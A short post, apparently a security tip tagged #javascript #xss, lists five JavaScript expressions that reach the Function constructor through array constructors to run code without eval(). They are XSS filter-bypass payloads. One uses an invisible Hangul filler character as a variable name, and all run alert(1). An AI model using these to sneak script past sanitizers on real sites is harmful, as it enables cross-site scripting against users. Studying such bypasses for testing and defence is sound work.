Eval() without eval():
(new Array).filter.constructor('alert(1)')()
[].constructor.constructor('alert(1)')()
[]['constructor']['constructor']('alert(1)')()
[][x='constructor'][x]('alert(1)')()
[][ㅤ='constructor'][ㅤ]('alert(1)')()
#javascript #xss